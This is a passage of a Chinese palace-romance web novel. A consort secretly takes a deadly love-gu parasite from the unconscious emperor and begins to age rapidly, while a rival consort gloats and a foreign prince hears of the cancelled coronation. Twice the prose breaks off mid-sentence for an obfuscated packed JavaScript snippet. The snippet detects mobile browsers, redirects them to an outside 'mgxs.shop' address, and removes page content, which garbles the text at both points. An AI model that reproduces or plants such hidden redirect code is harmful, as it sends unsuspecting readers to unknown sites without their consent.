“皇上已卧榻三日,国师觉得这消息还能瞒多久?皇权动荡,若消息走漏,边疆不稳、朝局浮动,这后果……恐怕不是你我可以担待得起的。” 宁梓韵语声虽不高,语气却分毫不让。她话锋一转,将那抹哀恸敛入心头:“太上皇与太后那边,严令封锁消息,绝不可泄露半字。他们老人家在东南山林清修,好不容易得些清静,莫要让他们跟着挂心劳神。” 李鹤缩了缩脖子,一时未敢应声。他下意识看向国师,见对方微微颔首,才小声应道:“喳,奴才这就去安排,定把那些多嘴的小太监嘴给缝死。” 宁梓韵抬手,指腹轻抚过亘安紧锁的眉心。她试图让那道深深刻在帝王面容上的纹路舒展分毫,可那眉心却仿佛顽石般,怎么也抚不平。 这一刻,她感到一种前所未有的挫败与气馁。 但此刻容不得她感伤。宁梓韵深吸一口气,强迫自己在那阵阵疼惜中找回理智,沉声吩咐道:“皇上不知何时才能清醒,国师你必须片刻不离地守在这里。另外,李鹤,你得着手准备长期应对的章法了。” “去,悄悄挑两三位皇上平日里最信任的肱骨老臣,让他们进宫待命,暂代处理那些要紧的奏章。对外,只称皇上旧疾复发需静养,绝不可让‘蛊’这个字传出这道大门。” 宁梓韵话音刚落,指尖下的毛巾已换了第三条。她手中的动作未停,却发现无论怎么努力,亘安额上的冷汗就象是断了线的珠子,怎么也止不住。 宁梓韵心底一慌,正欲转头再次询问国师,眼角的余光却猛地捕捉到了一处惊人的异象。 在那盖着锦被的龙袍之下,亘安裸露在外的苍白手背上,竟然出现了一个不自然的凸起。那物体呈现黑色长条状,正在皮肤之下疯狂地蠕动。 “皇上的手背……有东西在动!象是……蛊虫浮现了!” 宁梓韵惊呼出声,她并未像寻常女子那般被这景象吓退,反而果断地伸出双手,指甲用力扣住那异物窜动的两侧,试图将其阻截在原地。 由于力道极大,亘安本就脆弱的皮肤迅速泛起了一道令人触目惊心的紫痕,画面骇人心魄。 国师闻言神色一肃,即刻跨步上前察看,眉头越拧越紧。 “怎么样?这回能判出是哪种蛊了吗?”宁梓韵语气急切,由于过度用力,她的手指也在微微颤抖。 “是……情蛊。而且是产自南蛮蛮荒之地最毒的一种。”国师的声音变得极度低沉。 宁梓韵长舒一口气,既已知晓敌人的名号,总好过在那黑暗中盲目摸索:“既知来历,想必便有法可解。国师,可解否?” 国师示意她可以松手。那道黑色的影迹随之缓缓下沉,在亘安的臂弯处游走,最后消失不见。 “可解,亦可不解。” 见宁梓韵美眸微蹙,国师才缓缓补充道:“情蛊,之所以取名为‘情’,便是因为它寄生在宿主的心脉之间,受情丝所困。宿主对某人的情意越深,这种蛊虫发作时带来的痛苦便越是剧烈。正如娘娘所见,它如今已开始啃噬宿主的根骨。” “若他……若宿主无情,便无所伤?” 国师沉重地微微点头。 宁梓韵默然无语。脑海中瞬间浮现出亘安在淑妃面前那些温柔的耳语与轻笑,还有那只为她一人披上的白貂围巾。心头象是被细小的钢针狠狠扎了一下,绵延的刺痛散入四肢百骸。 原来,他病得这样重,竟然是因为……对他怀中那女人的情意,已经深到了连蛊虫都无法负荷的地步吗? “此蛊与寻常毒药不同,潜伏期过后会有剧烈的隐性症状,如皮肤生出细纹、发色逐渐变白,具体表现因人而异。再这样等下去,皇上虽然七日内会因蛊虫休眠而短暂醒来,但若那时再不解,恐已药石无灵,要被吞噬个干净。” 此言一出,朝阳殿内的温度仿佛瞬间降到了冰点。这分明是在逼她,在这一刻,立下断绝。 国师深知,眼前这位女子虽然名义上还不是皇后,但眼下整座大周皇宫,能做主、敢做主的人,也唯她一人而已。 更何况——他记得方才那抹月白色的残影是如何穿越重重迷雾,不顾一切闯入禁地的。这女子,虽然看着柔弱,骨子里却有着敢为天下先的孤勇。 国师眼底泛起一丝转瞬即逝的复杂。其实,他心里有一份莫名的笃定。倘若那个躺在榻上的男人醒来,得知今日的一切,他大约只会怪罪国师为什么要将这种两难的抉择推到宁梓韵面前,而非气恼宁梓韵僭越。 宁梓韵缓缓伸出手,将双手交叠着覆在亘安冰冷的手背上。她心思万千,先前那蛊虫隐匿不出,偏生在她到来的时刻显露身形。 这究竟是宿命的牵引,还是心有灵犀的指引? “这解蛊之法,是需强行逼出毁去,还是……需要转嫁他人?”她低声问道,语气平静得让人害怕。 宁梓韵自幼在深宫伴读,宫中藏书阁那成千上万的古籍,她虽不敢说全部精通,但至少有七成曾被她一页页翻阅过。从天文地理到药理杂记,甚至是那些被视为歪门邪道的邪术,她都有所涉猎。 “情蛊生于心血,无法被药力清除,只能通过秘术转移。当年的创蛊者因爱成恨,被流放到极南荒凉之地,最终呕心沥血才培育出这一对蛊。转移之人,除却身体上会出现些许外在异象,神志与寿命倒是无虞。只是……” 国师未说完的话,宁梓韵心里都明白。那“外在异象”,多半便是折损红颜的催老之兆。 她的神情没有半分动摇,反而象是终于寻到了出路一般,长长地松了口气。 “那便转移吧。既然没有更好的法子,这是唯一的路。” 一旁的李鹤闻言惊得整个人跳了起来,正要转身去慎刑司那些死囚里寻个合适的“器皿”,却被宁梓韵一道淡然却威严的嗓音生生止住了脚步。 “不必去寻旁人,将此蛊……转至本宫身上即可。此事,越少人知晓越好。” “娘娘!这……这万万使不得啊!您千金之躯,又是未来的国母,若是出了半分差池,奴才就是有十颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490880|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脑袋也顶不住皇上的雷霆怒火啊!”李鹤急得在那里直打颤,话都说不利索了。 国师却没说话。他依旧静静地望着坐在床沿上的那抹淡然身影。 他本以为宁梓韵这般急切地赶来,是想借机在皇上面前抢个“救驾”的风头。可现在看来,这女子的处处留心、举止沉稳,以及那份远胜于一般宫廷贵妇的思虑与决绝,都让他不得不重新审视这场博弈。 太后当年竟选中了这样的人……倒也难怪。这女子,确实有担得起万里江山与这后宫大局的肩膀。 瞧着那女子一脸正经地恐吓着这位大内总管,国师心中竟没由来地泛起一丝欣赏。 “你不说,国师不说,本宫自然也不会说。这朝阳殿的大门只要关紧了,这世上又有谁能知晓其中的细节?” “倘若日后被皇上知晓,你便尽管将责任推到本宫头上。本宫虽没有那些大户人家的隐祕暗卫可以随意差遣,但要想在无声无息间处理掉一个不听话的内侍,这点能力本宫还是有的。” “退一万步说,就算皇上日后真发了怒,本宫再怎么惨,至多也不过是在那冷宫里过完下半辈子罢了。这代价,本宫付得起。你,付得起吗?” 她的声音平静无比,语意却冷得象是腊月里的寒风。这大周宫廷内外,敢如此明目张胆地、当面威胁帝王贴身内侍的,恐怕也唯有她宁梓韵一人。 李鹤愣在原地,许久说不出话来。他那双原本满是市侩的小眼睛里,头一次露出了真正的震惊与畏缩。 “李明清,你是一个聪明人,应该知道在这种生死关头,该如何做最好的选择。” 那一声“李明清”,象是带着某种穿透时空的魔力,教李鹤彻底僵死在当场。那是他入东宫侍奉之前,在那个贫苦的农家,父母为他取的本名。自从入宫被赐名“李鹤”后,这三字已成了他记忆深处厚厚的尘埃。 这位养尊处优的贵妃娘娘,怎会知晓他的本名? 一幅久远的画面,突兀地闪过李鹤的脑海。 那是十多年前,他还是个瘦弱如干柴的孩子,和一群同病相怜的玩伴被带到东宫偏殿,等着当时还是太子的亘安挑选侍从。原先服侍东宫的那位老太监年事已高病逝了,才给了他们这些外围宫人一线登天的机会。 他记得清清楚楚,当时太子的目光原本停留在另一个机灵的孩子身上。可就在那一刻—— “李明清……我倒是挺喜欢这个名字的。亘安,就要他吧。看他的样子,是个老实巴交、守得住祕密的。” 一道娇俏而灵动的女声从太子身后传来。那女孩一脸笑盈盈地扯着太子的衣襬,眉眼弯弯,满是朝气。太子那时虽然一脸不耐烦,却依旧顺着她的意。 “到底孤是太子,还是你这小丫头才是太子?连挑个奴才都要管。” “谁是小丫头,我比你还年长呢!” 那语气里的纵容与宠溺,任谁听了都明白。 李鹤想起来了。那年那个帮他改命的女孩,正是眼前这位神情冷峻的宁梓韵。 只不过,那时的她,还是一个爱笑、爱闹,眼底装满星辰的小姑娘。而如今——她坐在那里,象是一尊被冰雪雕琢而成的神祇,早已没了半分昔日的影子。 安景帝的身体此时愈发畏寒,锦被重叠加了三层,依然见不到半点改善。 宁梓韵深吸一口气,右手利落地挥向门口,不带一丝犹豫:“开始吧。国师,动手。” 国师领命。李鹤退守在寝殿门外,连守在廊下的禁卫军也被喝退至三尺开外。 转蛊之法,过程出人意料地简便。藉着烛火的热度,国师在帝王指尖轻轻一挑。那一抹黑色的阴影象是嗅到了新鲜的气息,缓缓从那微小的伤口处爬出,顺着宁梓韵主动递过去的指尖,没入了她的体内。 初时,宁梓韵仅觉一股滚烫的灼热感顺着血脉席卷全身,彷彿五脏六腑都被放在烈火上炙烤。但那痛苦仅仅维持了片刻便平复了下来。 然而,仅仅是片刻之后,在国师震惊的目光中,宁梓韵原本那一头乌黑如墨的发梢,竟然以肉眼可见的速度,一寸寸泛起了扎眼的银丝。 她似乎察觉到了什么,却连眼睫都没动一下。她拿起一旁随身的短匕,极其利落地将那一截转瞬即逝的青丝剪除,随手丢进了香炉之中。 “今日之事,还请国师务必守口如瓶。李公公那边,想必国师也知道该如何代本宫多费心照看。” 宁梓韵重新戴上了那层薄薄的面纱。她的面色在那一瞬间恢复了往日的模样,神色平静得近乎冷漠,彷彿这世间所有的生死与劫难都已与她无关。唯有那眉眼间,多出了几分无以言说的、深深的郁郁寡欢。 她的眼神冷冷掠过国师,最终在榻上之人身上停留了一瞬。见亘安的身躯不再发颤,指尖也渐渐恢复了应有的血色,她这才真正松开了那只紧攥着衣角的手。 “娘娘又何必如此决绝?”国师长叹一声,收起了金针,语气中带着一抹罕见的遗憾,“情蛊发作虽急,但也并非片刻都等不得。若再等半日,微臣定能从那死牢中寻得更合适的替死鬼。” 宁梓韵并未回头,她抬步欲走出这扇沉重的大门,声音轻得象是拂过窗棂的一阵微风,却重重砸在国师的心头。 “西南蛮族未平,朝堂之上那些老狐狸还在等着消息作乱。大周,等不了那半日。他,也等不了。” 她低头看了一眼自己的脚尖,语气平和如昔:“况且,今日这一切,皆是本宫一厢情愿,并无人逼迫。国师无须自责,更无需挂怀。” 国师坐回那张沉香木椅中,看着榻上男子渐渐安稳的面容,脑海中不断浮现出女子方才解蛊时一声不吭的隐忍,以及她在镜前毫不犹豫削落银丝的背影。 “若这都不算真心,那这世间,又还有什么是真?” 安景帝平素对这位女子的态度,国师身为挚友自然是再清楚不过。想到这两人明明咫尺却又天涯的关系,他目光幽幽地盯着榻上的人,语气中带着少见的讽刺: “亘安,人在眼前却不懂珍惜。别等到最后,才落得个悔不当初的下场。” 此时,陷入沉睡中的安景帝,依然在梦靥与幻象中挣扎。 梦里,一缕淡淡的清香自远处飘来,宛如幽兰在深谷中盛放。那香气引领着他,一步步往那唯一的、充满光明的出口走去。他在梦境中看见无数芍药花瓣在空中飞舞,铺满了他脚下的归途。 可就在他即将触碰到那一线光明时,那份温柔却突然被黑暗吞噬,消失得无影无踪。 当安景帝终于睁开双眼时,已是深夜亥时三刻。 他有些艰难地侧过首,视线内并未出现那个让他心安的身影,只有国师一个人孤零零地坐在远处的棋盘前。国师正懒懒地执着一枚黑子,停在半空良久,却始终一步未落。 他的这位挚友,平日里最是嘴损,今日却难得地安静,安静得教人心慌。 11. 第011章 无典之后 丽华宫内,清晨的寒意顺着窗棂缝隙渗入,将一室的檀香吹得支离破碎。 女子独坐于铜镜之前,指尖悬在半空,迟迟不敢触碰镜中那张陌生的脸。曾经那如剥壳荔枝般细腻清丽的容貌,如今却像是被岁月无情地划开了数道裂痕,下颔处已悄然浮现几道细纹,颜色黯淡,仿佛时光在这具年轻的身体上开了个恶毒的玩笑。 她轻呼出一口气,试图平复胸口那股无名翻涌的燥热。那是情蛊入体后的余响,先是如坠冰窖的畏寒,紧接着便是烧灼心肺的滚烫。她抬起手,指尖绕起发梢那一缕刺眼的银丝。那银白色在乌黑的发丛中显得格格不入,像是荒原上第一抹刺骨的残雪。 宁梓韵并未迟疑,她探手拾起案上的并蒂莲花剪,“咔嚓”一声,那缕银丝便应声而断,委顿在冰冷的梳妆台上。 日复一日,银丝落地的速度越来越快,剪刀剪除的速度,终究赶不上衰老蔓延的脚步。 自从那夜在朝阳殿接下那只蛊虫,她的身子便成了这种阴毒之物的温床。那蛊虫似有灵性,在她体内不安地蛰伏,日夜蚕食着她的生机。镜中那双曾被人赞为灵动如狐的眼眸,依旧藏着光,却在那张不符年岁的面容映衬下,显得诡异而凄凉,仿佛两张完全不同时代的脸孔被生生强行拼贴在了一起。 黎明的光自窗隙中透进,将屋中交错的光影映得支离破碎。外头逐渐传来了奴才们洒扫宫道的碎步声,那种压抑的节奏预示着宫中新一日的周而复始。 宁梓韵垂下眼眸,长睫颤动,如同一片凋落的枯萎花瓣。她看着镜中越来越苍老的自己,眸中藏着外人难辨的寂寥。最终,她发出一声无声的叹息,拽过一旁早已备好的月影蝉翼面纱,动作娴熟地将其覆上脸庞。 只要挡住了这副皮囊,她便还是大周那位端庄持重、受尽冷落却不失风仪的贵妃。 一个时辰后,青芜端着黄木托盘进殿,托盘里盛着几碟精致的点心和一碗白粥。她一进门,便看见主子正戴着面纱独坐于榻上,背影落拓,眼神空茫得仿佛失了灵魂的光彩。 青芜是这丽华宫中唯一知晓那夜朝阳殿真相的人,一见到那面纱,她便知晓主子的容颜定是再度恶化了。 她拼命压下心头那股泛酸的苦楚,强撑起一张明朗的笑脸,欢快道:“娘娘,奴婢今日特意去小厨房做了您最爱的肉桂卷。您快来闻闻,是不是香得很?尝尝奴婢这手艺是不是比昨日又精进了些?” 语气脆生生的,仿佛这宫里依旧是一片太平盛世。但宁梓韵只是轻轻点了点头,连目光都没有移动半分。 “本宫的青芜,手艺自然是一向不差的。” 可自打中了蛊,宁梓韵的胃口便彻底坏了。她看着那一桌色香味俱全的膳食,鼻尖嗅到的竟是一股若有似无的腐朽之气。那是蛊毒对感官的侵蚀。 每道菜她仅仅是应付地尝了一小口,便轻轻搁下了羊脂玉筷,声线平和却透着虚弱:“都撤了吧,本宫不饿。” 她抬手,有些吃力地揉着隐隐作痛的太阳穴。视线不经意间落在不远处矮几上叠放整齐的那件宫装上。 那是凤袍。原本是为了即将到来的封后大典所制,金线钩织,凤凰展翅,每一根羽毛都栩栩如生。可如今在宁梓韵眼里,那凤凰却像是被生生剜去了眼眸的死鸟,虽有华丽的外表,却透着一股腐烂的死气。 内务府的小李子——李鹤,前几日才刚送来,千叮万嘱让娘娘在大典时穿上,可转眼间,一切都变了。 宁梓韵的指尖隔着面纱轻轻触碰自己的脸颊,眼底的光彻底黯淡了下去。这一幕落入青芜眼中,小丫头终于再也忍不住,眼眶瞬间红了个透。 “奴婢看那国师,分明就是一个信口开河的江湖骗子!”青芜狠狠一跺脚,声音里带着浓重的哭腔,“什么‘皇上病因来自宫中东南方的不祥之气’?这种荒诞的理由,皇上竟然也信了!好好的一场封后大典,说撤就撤,就这么让娘娘您名不正言不顺地搬去凤仪宫……这简直是胡来!” “青芜。”宁梓韵的语气并不重,却带着一股冷入骨髓的警醒,“国师之言,皇上自有定夺。在这宫里,妄议国事是重罪,你若再这般口无遮拦,本宫也保不住你。” 青芜被这一声轻斥,原本死死忍着的委屈终于是彻底溃堤。她蹲跪在宁梓韵身旁,揪着主子的衣摆,低头大声啜泣起来:“奴婢只是心疼娘娘……娘娘您为了皇上付出至此,甚至不惜折损容颜寿数去解那情蛊,到头来,皇上什么都不知道,还亲手撤了大典……这让外头那些碎嘴的奴才怎么说?那庆和宫的狐媚子,还不得把咱们丽华宫笑话死?” “还有庆和宫……她们定是在暗地里戳咱们的脊梁骨。” 话语间尽是不甘与愤恨,青芜越哭越猛,仿佛要将这几日的压抑全都宣泄出来。 宁梓韵怔了怔,她看着这个从小陪在自己身边的丫头,心中某处僵硬的地方终究是软了一寸。她弯下腰,轻轻拍着青芜的后背,声音低沉而安抚:“国师此举,对本宫而言,其实未尝不是一种护佑。” 她苦笑着,缓缓解下了面纱。 面纱滑落的一瞬,青芜的哭声戛然而止。她惊恐地看着宁梓韵下颔处那几道触目惊心的皱纹,比数日前见时更深了,甚至已经开始向脸颊蔓延。那原本瓷白如玉的肌肤,此刻竟显出一种不健康的死灰。 “你瞧,若是不撤了大典,你可曾见过哪朝哪代的皇后,是蒙着面纱接受册封的?”宁梓韵的语速极慢,像是在剥开自己的伤口,“又或者,你可曾听闻,一个白发苍苍、容颜枯槁的女子,能在这般年纪被立为一国之母?” 青芜的双眼瞪得滚圆,泪水瞬间如断线的珠子般夺眶而出:“都是奴婢的错……若当时是奴婢替娘娘前去朝阳殿,说不定如今受苦的就是奴婢了……” 宁梓韵摇了摇头,没有说话。她心中明白,那情蛊阴毒,国师当时只选了她一人,便是因为她是这宫中唯一一个能牵动蛊虫“情丝”的人。那蛊虫入体时,甚至带着一种渴望的战栗,仿佛它认得她的血脉一般。 若非背后有人在操纵这一切,她几乎要以为这就是命。 “好了,别哭了。”宁梓韵重新将面纱系好,嘴角勾起一抹故作轻松的笑意,“你即将成为凤仪宫的管事姑姑了,若是被人瞧见这副哭哭啼啼的鬼样子,成何体统?” 青芜吸了吸鼻子,勉强挤出一个比哭还难看的笑,她看了一眼铜镜中自己那双红肿如桃的眼,忙不迭地起身退下,说是要去给娘娘重新打盆温水。 侍女走后,殿内再次陷入了那种死水般的寂静。这份沉静,像是这座名为皇宫的囚牢早已为她预备好的宿命。 宁梓韵回想起前几日国师离开时的神色,那一抹在忧虑中隐藏的欲言又止。她细细咀嚼着这几日的传闻,终究是低声自语道:“容貌受损固然是撤掉大典的一因,但怕是边境出了大变故,才是真正的关键。” 近日来,皇上亘安虽在养病,但朝堂之上风声鹤唳。频频传来边关不稳的消息,有匈奴精锐趁虚而入,甚至有探子报称敌军数度逼近京畿重地,幸得几位封疆大吏及时率兵增援才勉强稳住。 她眉头紧蹙,喃喃道:“大周与匈奴、以及雪真山那头的秦国,已是多年无战事,边境防守虽谈不上铜墙铁壁,但也绝非一日能破。匈奴为何敢选在皇上染疾的关键时刻发难?” “更何况,太上皇尚在京中垂帘,匈奴王岂会不知那位战神的厉害?” 思绪纷杂,如同一团理不清的乱麻。就在宁梓韵打算起身走动时,垂眸一瞥,竟发现袖口处又落下几根银丝。那一瞬,她眼底那点火星般的希望,仿佛也被冷雨浇熄,重新沉入了一片灰沉沉的死寂之中。 * 封后大典被撤,凤仪宫却依旧让宁梓韵搬了进去。但在那些惯会见风使舵的奴才眼里,这无异于一种变相的羞辱。 “啧,瞧瞧,当初是谁说丽华宫要翻身成凤凰了?结果呢?这封后大典说停就停,说是搬进凤仪宫,我看呐,不过是挪了个更冷清的冷宫罢了。名存实亡,能翻出什么浪花来?” 几个御花园洒扫的小太监凑在石后,一边偷懒一边嗤笑。 “那咱们先前巴巴送去丽华宫的那些讨好的宝贝,不全打水漂了?” “哼,何止是东西白给,咱们费尽心思去巴结青芜那丫头,结果人家现在正守着一堆名不正言不顺的凤袍哭呢,我呸!”一个小太监懊悔地拍着脑门,“早知如此,还不如多往内务府走动走动。要是庆和宫那边再缺人,说不定能轮到我顶上去呢。” “得了吧你,想去庆和宫当差?也不撒泡尿照照自己!那儿的主子虽说脾气暴了点,但出手是大方的。服侍好了一晚,赏银顶咱们半年的俸禄,那点打骂算得了什么?” 短短几日,原本因为封后风声而备受瞩目的宁梓韵,名声一落千丈。后宫与朝堂的风向在顷刻间倒向了庆和宫,甚至比过往三年还要来得猛烈。 淑妃李思然自然是喜不自胜。她这几日脚伤虽然还没大好,但人却格外精神。只要是去庆和宫回话的,无论大小差事,皆有重赏。一时间,庆和宫内笑语欢天,连洒扫的三等宫女也个个银包鼓胀。 “娘娘,您先前最挂心的那块石头,总算可以放下了。” 小娟站在淑妃身后,手法老道地替她揉按着肩膀,语气极尽温柔。她是最近才被调来贴身服侍的,顶替了那个因为话少、办事木讷而被赶去外殿打杂的芬儿。 李思然舒服地眯起眼,指了指屋角的一箩筐西域贡果,淡然道:“本宫从未把那人放在眼里,都是底下那群蠢奴才危言耸听。 虽说这次没能阻了她封后的旨意,但这大典没了,皇上又日日往我这儿送东西,这天下谁才是真正的主母,众人眼不瞎。” “皇上心里自然是只有娘娘一人的,这宫里谁不知道?”小娟嘴甜如蜜,正中李思然下怀,见主子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17506784|202217||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高兴,又补了一句,“也就那丽华宫的,白白做了场皇后的春梦。如今不尴不尬地住进凤仪宫,内外都成了笑柄,那场面,想想都替她害臊。” “哦?你也觉得这大典办不办,很重要?”李思然挑眉,感受着肩头恰到好处的力道。 “自然是顶顶重要的。奴婢听内务府的老嬷嬷说,大典是祭告列祖列宗的仪式。缺了这一道,即便搬进了凤仪宫,那在祖宗牌位面前也不算正名,不是皇上真正属意的人选。” 小娟压低声音,煞有介事地分析道:“娘娘不妨想想,当年战火连天之时,太上皇册封太后,可曾因局势紧张而省略了?反倒是大办了七天七夜,那才是真宠。可见,皇上这次所谓的‘东南不祥之气’,不过是个用来安抚太后、给宁家留点体面的冠冕堂皇的借口罢了。” 李思然冷笑一声,紧了紧指节,眼中闪过一抹寒光。提及太后蓝渺渺,她心底始终憋着一口气。那老太婆对宁梓韵的偏爱,简直是到了盲目的地步。 “既然皇上都发了话,咱们就乖乖听旨。只是,这件事万万不能太早传入那位太后的耳中,你懂本宫的意思吗?” “奴婢明白,庆和宫的嘴,紧着呢。” 大周皇宫风云莫测。随着搬迁,宁梓韵原本应补派数十名宫人侍候,却被她以“喜静”为由悉数婉拒。如今偌大的凤仪宫,竟不足十人当差,廊下静得落针可闻,脚步声伴着回音,显得空寂如水,冷冷清清。 * 大周立后受阻、皇后失宠的消息,几乎是以惊人的速度穿越了风雪,传入了西方的秦国。 此时的秦国皇城,正值肃杀之秋。 御书案后,禾凛神色淡定,手中握着一支沉香木制的紫毫,正在有条不紊地批阅着堆积如山的奏章。那冷峻的眉眼之间,见不到半分归国之初的疲惫,取而代之的是一种执掌乾坤的冷酷与从容。 自归国以来的这一个月里,他以雷霆手段夺回了原本属于他的一切。那些曾在他远赴大周为质时落井下石的皇兄皇弟,如今要么身陷囹圄,要么早已成了一抔黄土。 秦国朝堂被他那铁血的手腕彻底震慑,甚至连他那双曾被议论不休的残腿,也成了无人敢触碰的禁忌。在旁人看来,这位摄政王重登权位是顺理成章的事,唯一让人费解的,是他拒绝了皇位的诱惑,而是止步于超一品亲王的名分,却将太子的实权尽数架空。 此时,阿元手里攥着一封刚从大周快马传回的秘信,站在门边犹豫不前。 他在心里犯难。原以为自家爷对在大周救下的那个小宫女“宁宁”动了凡心,回秦国后还特意派人去查过,结果真相让他差点惊掉下巴——那个温柔恬淡的宁宁,竟然就是大周的宁贵妃。 而且,信上说,她竟然成了皇后。 这消息到底该不该在这个当口告诉主子?看主子这几日忙于政务,对大周的事一向是左耳进右耳出,神色冷淡得像冰块,仿佛在那里的日子对他而言只是一场屈辱的旧梦。 阿元瞅了瞅主子紧锁的眉头,心想,大周有的美人,秦国难道没有?秦地女子性子火辣,不是更合主子的胃口吗? “有话就说,杵在那儿当什么门神?挡了本王批折的光。”禾凛头也不抬,语声冰冷。 阿元打了个激灵,果然,主子那毒舌的毛病一点没改。他咽了口唾沫,壮着胆子开口:“爷,是大周那边的消息。关于那个‘宁宁’……” 阿元见禾凛没反应,赶忙改口:“就是那位大周的宁贵妃,安景帝……正式下旨立她为后了。” “皇后?”禾凛落笔的速度微微一顿,那双修长的、磨墨的手不自觉地紧了紧。 阿元看不透主子的情绪,只能硬着头皮继续往下说:“虽说是立了后,但这差事办得委实可怜。听闻皇上以‘不祥之气’为由,无限期推迟了封后大典,连个像样的典礼都没给,就把那位娘娘直接挪进凤仪宫守活寡去了。外头传得可难听了,都说她是‘无典皇后’,成了满京城的笑话。” 在听到“封后大典没办”这几个字时,禾凛手中的紫毫笔猛地一滑,一道浓黑的墨迹瞬间在雪白的奏章上晕开一大片丑陋的黑斑。 他原本冷峻的眸光,在那一瞬间变得极其阴郁,像是有沉沙在水底剧烈翻涌。 “……大周那个草包皇帝立谁为后,与本王何干。” 他的语声依旧冷冽如铁,透着一股拒人于千里之外的生硬。阿元本来还想再添油加醋说几句那位宁皇后现在的境遇有多惨,可见禾凛周身散发出的那股肃杀之气,也只能缩了缩脑袋,悻悻地闭了嘴。 然而,在没人注意到的角落,禾凛那只握笔的手,指节由于用力过度,已然变得惨白如雪。他再次落笔时,力道之重,竟透过了三层宣纸,在漆黑的桌面上留下了一道深深的划痕。 大周,凤仪宫。 这一场没有仪式、没有祝福的迁徙,注定要在无数人的恶意揣测中度过。 12. 第012章 碎颜流言 秋风微凉,拂过庆和宫层叠的珠帘,发出细碎如雨的碰撞声。 淑妃李思然的腿伤在太医们的悉心调养,以及名贵药材的不计成本堆砌下,已大致痊愈。然而这几日,她却总是一副愁眉不展的模样,动辄对着庭院里的残花落叶叹息。安景帝亘安知晓后,不仅未曾觉得她矫情,反而特意命京中最好的乐坊入宫,在庆和宫的前院搭起戏台,再度为她奏乐解闷,以此彰显那几乎要溢出来的恩宠。 “娘娘,您瞧,皇上当真是疼您入骨。这京中乐坊寻常人家求都求不来,皇上却为了搏您一笑,说召便召了。”大宫女小娟站在淑妃身侧,手中捧着一盘用冰块镇着的、红得发黑的西域贡果樱桃,语气里满是谄媚与欣羡。 “那是自然。在这宫里,若是没点皇上的疼爱,活着还有什么意趣?”淑妃伸出如葱削般的指尖,慢条斯理地捏起一颗红润欲滴的樱桃。她的动作轻柔,神情却带着一抹浑然天成的自得与傲慢。 正说着,远处宫道的尽头闪过一抹熟悉的玄色龙袍身影,脚步沉稳,正步步而至。 李思然眼尖,立刻放下了手中的樱桃,原本慵懒靠着的娇躯猛地挺直,脸上瞬间绽放出百花盛开般的娇笑。她甚至等不及对方走近,便提着裙摆起身,嗓音柔得能滴出水来,隔着老远便喊道:“皇上~您总算来看臣妾了~” 这一声娇啼,百转千回,听得跟在亘安身后的大总管李鹤浑身一激灵,差点腿下一软。他眼皮微不可察地跳了跳,在心里暗暗腹诽:从前倒还没发觉,如今这位淑妃娘娘,怎么越看越像是一只成精的狐狸?还是那种专门采阳补阴、吸人精气的妖孽。 李鹤又在心底悄悄补了一句:只可惜,这狐狸精貌似虽然美,脑子却实在不太灵光,光顾着争宠,连风向变了都瞧不出来。 此时的李思然,为了博取同情,特意避开了太医关于“已痊愈”的禀报,依然如弱柳扶风般捂着腿。她单脚轻跳着迎上去,面色苍白中透着三分娇弱,活脱脱一个惹人怜爱的病美人。宫里谁不知道她的腿早就利索了?偏生她爱装模作样,连走几步路都要费尽心思吸引帝王的注意。 对比起凤仪宫那位即便搬迁也依旧素静淡然、不争不抢的皇后娘娘,李鹤心里对淑妃的反感更深了几分。他低头翻了个白眼,在那两人交汇的一瞬间,迅速收敛神色,眼观鼻鼻观心地站好,像一尊木头桩子。 “爱妃免礼。既然腿上有伤,何必亲自迎出来?”亘安语气温和,带着一种面具式的宠溺,亲自伸手搀扶住她的手腕。 李思然顺势整个人依偎进他怀里,那娇柔的模样,看得李鹤又是一阵牙酸。 庆和宫前院的木制看台上,琴瑟齐鸣。台下早已备好了紫檀木桌椅,上等的茶点如流水般呈上来。夏末秋初用的黄梨木蒲扇、刚采摘回来的新鲜花卉,每一处细节都彰显着精致与奢华,比起皇帝理政的朝阳殿,竟还要显得清凉雅致几分。 李鹤站在一旁,瞧着小娟那副想过来讨好他的嘴脸,连正眼都没给一个,只顾着垂首盯着自己脚尖上的绣纹。 “皇上,您瞧今夜的满月多皎洁。加之这乐声悠扬,能与皇上在此共赏曲目,臣妾觉得这人间最美的光景,也不过如此了。”李思然靠在帝王宽大的胸膛前,声音婉转,像是在吟唱。 “爱妃说得极是。只要你舒心,这天下的美景朕都愿意捧到你面前。”亘安微笑应道,右手顺势搂住她的纤腰。 李思然在他怀里轻轻蹭着,感受着那独属于帝王的龙涎香气,眼神中的自得几乎要溢出来。她尤其想到今日十五,皇上却特地推了政务来庆和宫,这不正是说明在皇上心里,她比任何人都重要吗? “皇上,今日恰逢十五,本是该去凤仪宫的日子。您不过去陪陪皇后娘娘吗?”李思然语气温柔,看似在大度体贴,实则那双藏在暗处的眼底全是试探与针锋。 亘安揽着她的手微微一僵,眸光沉了沉。他先是漫不经心地扫了一眼李鹤,见李鹤轻轻点了点头示意那边并无异常,才收回视线,语气冷淡地回道:“去不去都无妨。朕想在哪,便在哪。” “可是……皇后娘娘一向重规矩,臣妾怕娘娘会因此怪罪臣妾,说臣妾恃宠而骄。” 